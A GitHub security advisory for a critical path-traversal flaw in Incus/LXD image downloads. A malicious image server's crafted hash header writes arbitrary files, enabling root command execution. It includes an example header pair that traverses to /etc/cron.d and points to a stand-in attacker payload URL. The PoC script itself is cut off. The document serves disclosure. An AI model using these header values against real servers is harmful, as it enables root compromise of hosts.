- Severity: CRITICAL
- Ecosystems: go
- Packages: github.com/canonical/lxd
Reported from https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x
### Summary
An arbitrary file write exists in the Incus client when a malicious image
server returns a crafted `Incus-Image-Hash` header. This can lead to
arbitrary command execution as root on the server.
### Details
– `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias`
and `Server`.
– `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string.
– `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`.
– `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file.
– `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated.
– `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.
A malicious image server returning something along the following will cause
the arbitrary file write.
“`
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
“`
### PoC
The script below creates a malicious image server and requests an Incus
server to fetch the image. File write occurs when the image is unpacked.
The foll…
Source: GitHub Security Advisories · 2026-11-06